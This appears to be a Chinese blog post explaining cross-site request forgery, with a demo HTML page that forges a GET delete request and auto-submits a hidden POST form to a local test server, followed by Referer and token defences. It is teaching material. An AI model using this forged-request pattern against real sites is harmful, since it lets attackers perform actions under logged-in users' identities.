前几天在考虑前后端认证方式时,想到了crsf攻击,因为之前都是只了解大概原理并没有真正实现过,所以想写一个demo,实现一下。
CSRF概念
CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。
csrf原理
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
实现
有CSRF安全漏洞的安全网站
假设用户登录成功在浏览器留下认证的cookies,且执行了一些操作,如图:
get请求 post请求用get,post方式进行csrf攻击
代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<button onclick="btn1()">csrf攻击get方法</button>
<button onclick="btn2()">csrf攻击post方法</button>
<form action="http://localhost:8080/bb" method="post" id="test">
<input style="display:none;" type="text" name="user" value="5"><br>
<input style="display:none;" type="text" name="pass" value="55">
</form>
<script>
function btn1() {
window.location.href = "http://localhost:8080/aa?ID=12345&delete=55"
}
function btn2() {
const f = document.getElementById('test');
f.submit();
}
</script>
</body>
</html>
执行结果
get请求 post请求如此可以看到攻击成功,其他就是浏览器请求时自动把cookies带上,认证通过之后进行意外的操作。
防范方法
1.验证referer请求头:它记录了该 HTTP 请求的来源地址
不知为什么在本地请求中没有 2.验证token 每次请求所带的token服务器对其进行拦截,来判断是否和法。